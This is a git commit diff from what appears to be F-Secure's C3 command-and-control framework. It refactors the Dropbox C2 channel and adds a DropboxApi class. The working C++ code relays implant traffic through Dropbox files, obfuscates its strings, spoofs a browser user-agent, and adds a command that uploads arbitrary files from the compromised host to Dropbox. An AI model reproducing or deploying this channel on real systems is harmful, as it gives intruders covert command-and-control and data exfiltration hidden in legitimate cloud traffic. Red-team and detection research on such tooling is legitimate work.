Merge Internal and public dropbox

dependabot/npm_and_yarn/Src/WebController/UI/elliptic-6.5.3
Alfie Champion 2020-07-14 17:28:24 +02:00 committed by Grzegorz Rychlik
parent bf9359544b
commit d7e647a1c9
6 changed files with 626 additions and 451 deletions

View File

@ -34,6 +34,7 @@
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\CppTools\Encryption.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\CppTools\Encryption.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Crypto\Sodium.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Crypto\Sodium.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Crypto\String.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Crypto\String.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Slack\SlackApi.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Slack\SlackApi.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\AddrInfo.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\AddrInfo.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\DuplexConnection.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\DuplexConnection.cpp" />
@ -69,6 +70,7 @@
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\StringConversions.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\StringConversions.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Sql\Sql.hpp" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Sql\Sql.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Crypto\String.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Crypto\String.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\WinHttp\Config.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\WinHttp\Config.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\WinHttp\Constants.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\WinHttp\Constants.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\WinHttp\HttpClient.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\WinHttp\HttpClient.h" />

View File

@ -2,7 +2,6 @@
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup> <ItemGroup>
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\UncShareFile.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\UncShareFile.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Dropbox.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\MSSQL.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\MSSQL.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Connectors\MockServer.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Connectors\MockServer.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Connectors\Covenant.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Connectors\Covenant.cpp" />
@ -35,6 +34,8 @@
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Crypto\String.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Crypto\String.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\AsanaApi\AsanaApi.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\AsanaApi\AsanaApi.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Asana.cpp" /> <ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Asana.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\DropBox.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.cpp" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="$(MSBuildThisFileDirectory)CppCodec\base32_default_crockford.hpp" /> <ClInclude Include="$(MSBuildThisFileDirectory)CppCodec\base32_default_crockford.hpp" />
@ -118,6 +119,7 @@
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Office365.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Office365.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\AsanaApi\AsanaApi.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\AsanaApi\AsanaApi.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Asana.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Asana.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Dropbox.h" /> <ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\DropBox.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Dropbox\DropboxApi.h" />
</ItemGroup> </ItemGroup>
</Project> </Project>

View File

@ -1,271 +1,136 @@
#include "StdAfx.h" #include "Stdafx.h"
#include "Common/CppRestSdk/include/cpprest/http_client.h"
#include "Common/FSecure/Crypto/Base64.h"
#include "Common/CppRestSdk/include/cpprest/base_uri.h"
#include "Dropbox.h" #include "Dropbox.h"
#include "Common/FSecure/Crypto/Base64.h"
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
FSecure::C3::Interfaces::Channels::Dropbox::Dropbox(ByteView arguments)
namespace FSecure::C3::Interfaces::Channels : m_inboundDirectionName{ arguments.Read<std::string>() }
, m_outboundDirectionName{ arguments.Read<std::string>() }
{ {
auto [userAgent, DropboxToken, channelName] = arguments.Read<std::string, std::string, std::string>();
m_dropboxObj = FSecure::Dropbox{ userAgent, DropboxToken, channelName };
}
DropBox::DropBox(FSecure::ByteView arguments) //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
: m_inFile( arguments.Read<std::string>() ) size_t FSecure::C3::Interfaces::Channels::Dropbox::OnSendToChannel(ByteView data)
, m_outFile( arguments.Read<std::string>() ) {
, m_Directory( arguments.Read<std::string>() ) // There is a cap on uploads of files >150mb at which point different APIs are required.
, m_Token( arguments.Read<std::string>() ) data = data.SubString(0, 150 * 1024 * 1024);
m_dropboxObj.WriteMessageToFile(m_outboundDirectionName, data);
return data.size();
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
std::vector<FSecure::ByteVector> FSecure::C3::Interfaces::Channels::Dropbox::OnReceiveFromChannel()
{
std::vector<ByteVector> ret;
for (auto& [ts, id] : m_dropboxObj.GetMessagesByDirection(m_inboundDirectionName))
{ {
if (auto winProxy = WinTools::GetProxyConfiguration(); !winProxy.empty()) ret.push_back(m_dropboxObj.ReadFile(id));
this->m_HttpConfig.set_proxy(winProxy == OBF(L"auto") ? web::web_proxy::use_auto_discovery : web::web_proxy(winProxy)); m_dropboxObj.DeleteFile(id);
} }
// Make a HTTP POST Request return ret;
std::string DropBox::SendHTTPRequest(std::string const& host, std::string const& contentType, std::string const& data) }
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
FSecure::ByteVector FSecure::C3::Interfaces::Channels::Dropbox::OnRunCommand(ByteView command)
{
auto commandCopy = command; //each read moves ByteView. CommandCopy is needed for default.
switch (command.Read<uint16_t>())
{ {
while (true) case 0:
{ UploadFile(command);
return {};
web::http::client::http_client webClient(utility::conversions::to_string_t(host), this->m_HttpConfig); case 1:
web::http::http_request request(web::http::methods::POST); DeleteAllFiles();
return {};
if (!data.empty()) default:
{ return AbstractChannel::OnRunCommand(commandCopy);
request.set_body(utility::conversions::to_string_t(data));
}
if (!contentType.empty())
{
request.headers().set_content_type(utility::conversions::to_string_t(contentType));
}
request.headers()[L"User-Agent"] = L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36";
request.headers()[L"Authorization"] = L"Bearer " + utility::conversions::to_string_t(this->m_Token);
request.headers()[L"Host"] = L"api.dropboxapi.com";
web::http::http_response resp = webClient.request(request).get();
if (resp.status_code() == web::http::status_codes::OK)
return resp.extract_utf8string().get();
else if (resp.status_code() == web::http::status_codes::TooManyRequests)
std::this_thread::sleep_for(FSecure::Utils::GenerateRandomValue(10s, 20s));
else if (resp.status_code() == web::http::status_code(409))
return "{}";
else
throw std::exception(OBF("[x] Non 200/409/429 HTTP Response\n"));
}
}
// Make a HTTP POST Request and also edit the Headers.
std::string DropBox::SendHTTPRequest(std::string const& host, json const& h_args, std::string const& contentType, std::string const& data)
{
while (true)
{
web::http::client::http_client webClient(utility::conversions::to_string_t(host), this->m_HttpConfig);
web::http::http_request request(web::http::methods::POST);
if (!data.empty())
{
request.set_body(utility::conversions::to_string_t(data));
}
if (!contentType.empty())
{
request.headers().set_content_type(utility::conversions::to_string_t(contentType));
}
request.headers()[L"User-Agent"] = L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36";
request.headers()[L"Authorization"] = L"Bearer " + utility::conversions::to_string_t(this->m_Token);
request.headers()[L"Host"] = L"content.dropboxapi.com";
request.headers()[L"Dropbox-API-Arg"] = utility::conversions::to_string_t(h_args.dump());
web::http::http_response resp = webClient.request(request).get();
if (resp.status_code() == web::http::status_codes::OK)
{
resp.headers().set_content_type(L"text/plain");
return resp.extract_utf8string().get();
}
else if (resp.status_code() == web::http::status_codes::TooManyRequests)
std::this_thread::sleep_for(FSecure::Utils::GenerateRandomValue(10s, 20s));
else if (resp.status_code() == web::http::status_code(409))
return "{}";
else
throw std::exception(OBF("[x] Non 200/409/429 HTTP Response\n"));
}
}
// Parse HTTP POST Response as JSON
json DropBox::SendJsonRequest(std::string const& url, json const& data)
{
return json::parse(SendHTTPRequest(url, OBF("application/json"), data.dump()));
}
// Parse HTTP POST(with edited headers) Respose as JSON
json DropBox::SendJsonRequest(std::string const& url, json const& h_args, std::string data)
{
return json::parse(SendHTTPRequest(url, h_args, OBF("application/octet-stream"), data));
}
// Send Packets to Channel
size_t DropBox::OnSendToChannel(FSecure::ByteView packet)
{
std::string b64packet = "";
std::string strpacket = "";
size_t actualPacketSize = 0;
size_t maxPacketSize = cppcodec::base64_rfc4648::decoded_max_size(150'000'000);
size_t bytesWritten = 0;
// if total packet size is smaller than api file upload size
// send packet in one file request
if (packet.length() < maxPacketSize)
{
std::string base64 = cppcodec::base64_rfc4648::encode(packet.data(), packet.size());
//Write to file on DropBox
json db_args;
db_args[OBF("path")] = OBF("/") + m_Directory + m_outFile + "/" + m_outFile + std::to_string(FSecure::Utils::GenerateRandomValue<int>(10000, 99999));
db_args[OBF("mode")] = OBF("add");
db_args[OBF("autorename")] = true;
db_args[OBF("mute")] = true;
SendJsonRequest(OBF_STR("https://content.dropboxapi.com/2/files/upload"), db_args, base64);
bytesWritten = packet.length();
}
// if total packet size is larger than api file upload size
// chunck the packet into smaller packets
else
{
actualPacketSize = std::min(maxPacketSize, packet.size());
strpacket = packet.SubString(0, actualPacketSize);
b64packet = cppcodec::base64_rfc4648::encode(strpacket.data(), strpacket.size());
json db_args;
db_args[OBF("path")] = OBF("/") + m_Directory + m_outFile + "/" + m_outFile + std::to_string(FSecure::Utils::GenerateRandomValue<int>(10000, 99999));
db_args[OBF("mode")] = OBF("add");
db_args[OBF("autorename")] = true;
db_args[OBF("mute")] = true;
SendJsonRequest(OBF_STR("https://content.dropboxapi.com/2/files/upload"), db_args, b64packet);
bytesWritten = strpacket.size();
}
return bytesWritten;
}
// Read Packets from Channel
FSecure::ByteVector DropBox::OnReceiveFromChannel()
{
FSecure::ByteVector packet;
// Check if there are packets to read
json db_list;
db_list[OBF("path")] = OBF("/") + m_Directory + m_inFile;
db_list[OBF("recursive")] = false;
db_list[OBF("limit")] = 1;
json filelist = SendJsonRequest(OBF_STR("https://api.dropboxapi.com/2/files/list_folder"), db_list);
if (filelist["entries"][0].size())
{
// Download packet from DropBox
json db_args;
db_args[OBF("path")] = filelist["entries"][0]["path_display"];
std::string fileContent = SendHTTPRequest(OBF_STR("https://content.dropboxapi.com/2/files/download"), db_args, " text/plain; charset=utf-8", "");
// Read packet from file
packet = cppcodec::base64_rfc4648::decode(fileContent);
// Remove packet from DropBox after read
SendJsonRequest(OBF_STR("https://api.dropboxapi.com/2/files/delete_v2"), db_args);
}
return FSecure::ByteVector { packet };
}
// Custom Command
ByteVector DropBox::OnRunCommand(ByteView command)
{
auto commandCopy = command;
switch (command.Read<uint16_t>())
{
case 0:
Clear();
return {};
default:
return AbstractChannel::OnRunCommand(commandCopy);
}
}
// Clear all files from DropBox
bool DropBox::Clear()
{
std::string url = OBF_STR("https://api.dropboxapi.com/2/files/delete_v2");
json file_info;
file_info[OBF("path")] = OBF("/") + m_Directory;
json x = SendJsonRequest(url, file_info);
return true;
}
const char* DropBox::GetCapability()
{
return R"(
{
"create":
{
"arguments":
[
[
{
"type": "string",
"name": "Input ID",
"min": 4,
"randomize": true,
"description": "Used to distinguish packets for the channel"
},
{
"type": "string",
"name": "Output ID",
"min": 4,
"randomize": true,
"description": "Used to distinguish packets from the channel"
}
],
{
"type": "string",
"name": "Directory Name",
"min": 1,
"description": "The diretory name to use in DropBox"
},
{
"type": "string",
"name": "DropBox Access Token",
"min": 1,
"description": "This token is what channel needs to interact with DropBox's API"
}
]
},
"commands":
[
{
"name": "Remove all files",
"id": 0,
"description": "Clearing old files from directory may increase bandwidth",
"arguments": []
}
]
}
)";
} }
} }
void FSecure::C3::Interfaces::Channels::Dropbox::UploadFile(ByteView args)
{
m_dropboxObj.UploadFile(args.Read<std::string>());
}
void FSecure::C3::Interfaces::Channels::Dropbox::DeleteAllFiles()
{
m_dropboxObj.DeleteAllFiles();
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
const char* FSecure::C3::Interfaces::Channels::Dropbox::GetCapability()
{
return R"_(
{
"create":
{
"arguments":
[
[
{
"type": "string",
"name": "Input ID",
"min": 4,
"randomize": true,
"description": "Used to distinguish packets for the channel"
},
{
"type": "string",
"name": "Output ID",
"min": 4,
"randomize": true,
"description": "Used to distinguish packets from the channel"
}
],
{
"type": "string",
"name": "User-Agent Header",
"min": 1,
"defaultValue": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36",
"description": "The User-Agent header to set"
},
{
"type": "string",
"name": "Dropbox token",
"min": 1,
"description": "This token is what channel needs to interact with Dropbox's API"
},
{
"type": "string",
"name": "Folder name",
"min": 4,
"randomize": true,
"description": "Folder to create for channel"
}
]
},
"commands":
[
{
"name": "Upload File from Relay",
"id": 0,
"description": "Upload file from host running Relay directly to Dropbox (150mb max.)",
"arguments":
[
{
"type" : "string",
"name": "Remote Filepath",
"description" : "Path to upload."
}
]
},
{
"name": "Remove All Files",
"id": 1,
"description": "Delete channel folder and all files within it.",
"arguments": []
}
]
}
)_";
}

View File

@ -1,71 +1,56 @@
#pragma once #pragma once
#include "Common/FSecure/Dropbox/DropboxApi.h"
namespace FSecure::C3::Interfaces::Channels namespace FSecure::C3::Interfaces::Channels
{ {
/// Implementation of a File Channel. ///Implementation of the Dropbox Channel.
class DropBox : public FSecure::C3::Interfaces::Channel<DropBox> struct Dropbox : public Channel<Dropbox>
{ {
public: /// Public constructor.
/// Public constructor. /// @param arguments factory arguments.
/// @param arguments factory arguments. Dropbox(ByteView arguments);
DropBox(FSecure::ByteView arguments);
/// OnSend callback implementation. Called every time attached Relay wants to send a packet through this Channel Device. @see Device::OnSendToChannelInternal. /// Destructor
/// @param packet data to send through the Channel. virtual ~Dropbox() = default;
/// @return number of bytes successfully sent through the Channel. One call does not have to send all data. In that case chunking will take place, Chunks must be at least 64 bytes or equal to packet.size() to be accepted,
size_t OnSendToChannel(FSecure::ByteView packet);
/// Reads a single C3 packet from Channel. Periodically called by attached Relay. Implementation should read the data (or return an empty buffer if there's nothing in the Channel waiting to read) and leave as soon as possible. /// OnSend callback implementation.
/// @return ByteVector that contains a single packet retrieved from Channel. /// @param packet data to send to Channel.
FSecure::ByteVector OnReceiveFromChannel(); /// @returns size_t number of bytes successfully written.
size_t OnSendToChannel(ByteView packet);
/// Reads a single C3 packet from Channel.
/// @return packet retrieved from Channel.
std::vector<ByteVector> OnReceiveFromChannel();
/// Describes Channels creation parameters and custom Commands. /// Get channel capability.
/// @return Channel's capability description in JSON format. /// @returns Channel capability in JSON format
static const char* GetCapability(); static const char* GetCapability();
/// Makes a HTTP POST Request /// Values used as default for channel jitter. 30 ms if unset. Current jitter value can be changed at runtime.
/// return HTTP response as a string if status is 200 /// Set long delay otherwise Dropbox rate limit will heavily impact channel.
std::string SendHTTPRequest(std::string const& host, std::string const& contentType, std::string const& data); constexpr static std::chrono::milliseconds s_MinUpdateDelay = 3500ms, s_MaxUpdateDelay = 6500ms;
/// Makes a HTTP POST Request with additional headers /// Processes internal (C3 API) Command.
/// return HTTP response as a string if status is 200 /// @param command a buffer containing whole command and it's parameters.
std::string SendHTTPRequest(std::string const& host, json const& h_args, std::string const& contentType, std::string const& data); /// @return command result.
ByteVector OnRunCommand(ByteView command) override;
/// Makes a HTTP POST Request protected:
/// parses the HTTP response as a json string if status is 200 /// The inbound direction name of data
json SendJsonRequest(std::string const& url, json const& data); std::string m_inboundDirectionName;
/// Makes a HTTP POST Request with additional headers /// The outbound direction name, the opposite of m_inboundDirectionName
/// parses the HTTP response as a json string if status is 200 std::string m_outboundDirectionName;
json SendJsonRequest(std::string const& url, json const& h_args, std::string data);
/// Processes Commands addressed to this Channel. /// Uploads file.
/// @param command a buffer containing whole command and it's parameters. /// @param path to file to be uploaded.
/// @return command result. void UploadFile(ByteView args);
ByteVector OnRunCommand(ByteView command) override;
/// Clears all files created on Dropbox /// Delete all files relating to the channel.
/// returns true if success void DeleteAllFiles();
bool Clear();
/// Explicit values used as the defaults for Channel's UpdateDelayJitter. Values can be changed later, at runtime. private:
constexpr static std::chrono::milliseconds s_MinUpdateDelay = 1000ms, s_MaxUpdateDelay = 1000ms; /// An object encapsulating Dropbox's API, providing methods allowing the consumer to upload and download files from Dropbox, among other things.
FSecure::Dropbox m_dropboxObj;
protected: };
/// Name of file used to receive data.
std::string m_inFile;
/// Name of file used to send data.
std::string m_outFile;
/// The Directory name to use in DropBox
std::string m_Directory;
/// Code token to communicate with API
std::string m_Token;
private:
web::http::client::http_client_config m_HttpConfig;
};
} }

View File

@ -0,0 +1,230 @@
#include "stdafx.h"
#include "DropboxApi.h"
#include "Common/FSecure/CppTools/StringConversions.h"
#include "Common/FSecure/WinHttp/HttpClient.h"
#include "Common/FSecure/WinHttp/Constants.h"
#include "Common/FSecure/WinHttp/Uri.h"
#include <random>
#include <cctype>
#include <algorithm>
#include <fstream>
using namespace FSecure::StringConversions;
using namespace FSecure::WinHttp;
namespace
{
std::wstring ToWideString(std::string const& str)
{
return Convert<Utf16>(str);
}
}
FSecure::Dropbox::Dropbox(std::string const& userAgent, std::string const& token, std::string const& channelName)
{
if (auto winProxy = WinTools::GetProxyConfiguration(); !winProxy.empty())
this->m_ProxyConfig = (winProxy == OBF(L"auto")) ? WebProxy(WebProxy::Mode::UseAutoDiscovery) : WebProxy(winProxy);
this->m_Token = token;
this->m_UserAgent = userAgent;
SetChannel(CreateChannel(Convert<Lowercase>(channelName)));
}
void FSecure::Dropbox::SetChannel(std::string const& channelName)
{
this->m_Channel = channelName;
}
void FSecure::Dropbox::SetToken(std::string const& token)
{
this->m_Token = token;
}
void FSecure::Dropbox::WriteMessageToFile(std::string const& direction, ByteView data, std::string const& providedFilename)
{
std::string url = OBF_STR("https://content.dropboxapi.com/2/files/upload");
std::string filename;
if (providedFilename.empty())
{
///Create a filename thats prefixed with message direction and suffixed
// with more granular timestamp for querying later
std::string ts = std::to_string(FSecure::Utils::TimeSinceEpoch());
filename = direction + OBF("-") + FSecure::Utils::GenerateRandomString(10) + OBF("-") + ts;
}
else
filename = providedFilename;
json j;
j[OBF("path")] = OBF("/") + this->m_Channel + OBF("/") + filename;
j[OBF("mode")] = OBF("add");
j[OBF("autorename")] = false;
j[OBF("mute")] = true;
j[OBF("strict_conflict")] = true;
SendHttpRequest(url, j.dump(), ContentType::ApplicationOctetstream, data);
}
void FSecure::Dropbox::UploadFile(std::string const& path)
{
std::filesystem::path filepathForUpload = path;
auto readFile = std::ifstream(filepathForUpload, std::ios::binary);
ByteVector packet = ByteVector{ std::istreambuf_iterator<char>{readFile}, {} };
readFile.close();
std::string ts = std::to_string(FSecure::Utils::TimeSinceEpoch());
std::string fn = filepathForUpload.filename().string(); // retain same file name and file extension for convenience.
std::string filename = OBF("upload-") + FSecure::Utils::GenerateRandomString(10) + OBF("-") + ts + OBF("-") + fn;
WriteMessageToFile("", packet, filename);
}
void FSecure::Dropbox::DeleteAllFiles()
{
std::string folderPath = OBF("/") + this->m_Channel;
DeleteFile(folderPath);
}
std::map<std::string, std::string> FSecure::Dropbox::ListChannels()
{
std::map<std::string, std::string> channelMap;
std::string url = OBF("https://api.dropboxapi.com/2/files/list_folder");
json j;
j[OBF("path")] = OBF(""); // Read from the root of the directory
json response = SendJsonRequest(url, j);
for (auto& channel : response[OBF("entries")])
{
std::string item_type = channel[OBF(".tag")];
if (item_type == OBF("folder"))
channelMap.emplace(channel[OBF("name")], channel[OBF("id")]);
}
return channelMap;
}
std::string FSecure::Dropbox::CreateChannel(std::string const& channelName)
{
std::map<std::string, std::string> channels = this->ListChannels();
if (channels.find(channelName) == channels.end())
{
std::string url = OBF("https://api.dropboxapi.com/2/files/create_folder_v2");
json j;
j[OBF("path")] = OBF("/") + channelName;
j[OBF("autorename")] = false;
json response = SendJsonRequest(url, j);
if (!response[OBF("metadata")].contains(OBF("name")))
throw std::runtime_error(OBF("Throwing exception: unable to create channel\n"));
}
return channelName;
}
std::map<std::string, std::string> FSecure::Dropbox::GetMessagesByDirection(std::string const& direction)
{
std::map<std::string, std::string> messages;
json response;
std::string cursor;
// If our search results roll over to another page (unlikely) we use a different endpoint
// to retrieve the extra file details
do
{
if (cursor.empty())
{
std::string url = OBF("https://api.dropboxapi.com/2/files/search_v2");
json search_options;
search_options[OBF("path")] = OBF("/") + this->m_Channel;
search_options[OBF("filename_only")] = true;
json j;
j[OBF("query")] = OBF("^") + direction; // regexp
j[OBF("options")] = search_options;
response = SendJsonRequest(url, j);
}
else
{
std::string url = OBF("https://api.dropboxapi.com/2/files/search/continue_v2");
json j;
j[OBF("cursor")] = cursor;
response = SendJsonRequest(url, j);
}
if (response[OBF("has_more")] == OBF("true"))
cursor = response[OBF("cursor")];
for (auto& match : response[OBF("matches")])
{
std::string item_type = match[OBF("metadata")][OBF("metadata")][OBF(".tag")];
std::string file_name = match[OBF("metadata")][OBF("metadata")][OBF("path_lower")];
std::string file_id = match[OBF("metadata")][OBF("metadata")][OBF("id")];
std::string ts = file_name.substr(file_name.length() - 10); // 10 = epoch time length
if (item_type == OBF("file"))
messages.insert({ ts, file_id });
}
} while (response[OBF("has_more")] == OBF("true"));
return messages;
}
FSecure::ByteVector FSecure::Dropbox::ReadFile(std::string const& filename)
{
std::string url = OBF_STR("https://content.dropboxapi.com/2/files/download");
json j;
j[OBF("path")] = filename;
return SendHttpRequest(url, j.dump());
}
void FSecure::Dropbox::DeleteFile(std::string const& filename)
{
std::string url = OBF("https://api.dropboxapi.com/2/files/delete_v2");
json j;
j[OBF("path")] = filename;
SendJsonRequest(url, j);
}
FSecure::ByteVector FSecure::Dropbox::SendHttpRequest(std::string const& host, std::string const& header, std::optional<WinHttp::ContentType> contentType, ByteView data)
{
while (true)
{
HttpClient webClient(ToWideString(host), m_ProxyConfig);
HttpRequest request; // default request is GET
request.m_Method = Method::POST;
request.SetTimeout({}, {}, 0ms, 0ms);
if (contentType && !data.empty())
request.SetData(*contentType, { data.begin(), data.end() });
if(!header.empty())
request.SetHeader(ToWideString("Dropbox-API-Arg"), ToWideString(header));
request.SetHeader(Header::Authorization, OBF(L"Bearer ") + ToWideString(this->m_Token));
request.SetHeader(Header::UserAgent, ToWideString(this->m_UserAgent));
auto resp = webClient.Request(request);
if (resp.GetStatusCode() == StatusCode::OK)
return resp.GetData();
else if (resp.GetStatusCode() == StatusCode::TooManyRequests)
std::this_thread::sleep_for(Utils::GenerateRandomValue(10s, 20s));
else
throw std::runtime_error(OBF("[x] Non 200/429 HTTP Response\n"));
}
}
json FSecure::Dropbox::SendJsonRequest(std::string const& url, json const& data)
{
return json::parse(SendHttpRequest(url, "", ContentType::ApplicationJson, ByteView{ data.dump() }));
}

View File

@ -0,0 +1,91 @@
#pragma once
#include "Common/json/json.hpp"
#include "Common/FSecure/WinHttp/WebProxy.h"
#include "Common/FSecure/WinHttp/Constants.h"
using json = nlohmann::json; //for easy parsing of json API: https://github.com/nlohmann/json
namespace FSecure
{
class Dropbox
{
public:
/// Constructor for the Dropbox Api class.
/// @param token - the token generated by Dropbox when an "app" is installed (either app or full dbx access)
/// @param proxyString - the proxy to use
Dropbox(std::string const& userAgent, std::string const& token, std::string const& channelName);
/// Default constructor.
Dropbox() = default;
/// Write a message as the contents of a file and upload to Dropbox.
/// @param direction - the name of the file to upload
/// @param data - the text of the message
/// @param filename - optional custom filename for uploaded file
void WriteMessageToFile(std::string const& direction = "", ByteView data = {}, std::string const& providedFilename = "");
/// Upload a file in its entirety to Dropbox.
/// @param path - path to file for upload
void UploadFile(std::string const& path);
/// Delete channel folder and all files within
void DeleteAllFiles();
/// Set the channel (i.e. Dropbox folder) that this object uses for communications
/// @param channelName - the channel name Id (not name), for example CGPMGFGSH.
void SetChannel(std::string const& channelName);
/// set the token for this object.
/// @param token - the textual api token.
void SetToken(std::string const& token);
/// Will list the created folders in Dropbox and if already preset return the channel name. If not already created,
/// creates a new folder on Dropbox.
/// @param channelName - the actual name of the folder to create, such as "files".
/// @return - the channel name of the new or already existing channel.
std::string CreateChannel(std::string const& channelName);
/// List all the folders in the workspace the object's token is tied to.
/// @return - a map of {channelName -> channelId}
std::map<std::string, std::string> ListChannels();
/// Get all of the files representing messages by a direction. This is a C3 specific method, used by a server relay to get client messages and vice versa.
/// @param direction - the direction to search for (eg. "S2C").
/// @return - a map of timestamp and file id, where id allows replies to be read later
std::map<std::string, std::string> GetMessagesByDirection(std::string const& direction);
/// Download file by its path.
/// @param filename - path of file.
/// @return - string of file content
FSecure::ByteVector ReadFile(std::string const& filename);
/// Delete a file
/// @param filename - the full path of the file on Dropbox.
void DeleteFile(std::string const& filename);
private:
/// The channel (i.e. folder) through which messages are sent and received, will be sent when the object is created.
std::string m_Channel;
/// The Dropbox API token that allows the object access to the account. Needs to be manually created as described in documentation.
std::string m_Token;
/// Hold proxy settings
WinHttp::WebProxy m_ProxyConfig;
/// Send http request, uses preset token for authentication
FSecure::ByteVector SendHttpRequest(std::string const& host, std::string const& header = "", std::optional<WinHttp::ContentType> contentType = {}, ByteView data = {});
/// Send http request with json data, uses preset token for authentication
json SendJsonRequest(std::string const& url, json const& data);
/// The user agent header
std::string m_UserAgent;
};
}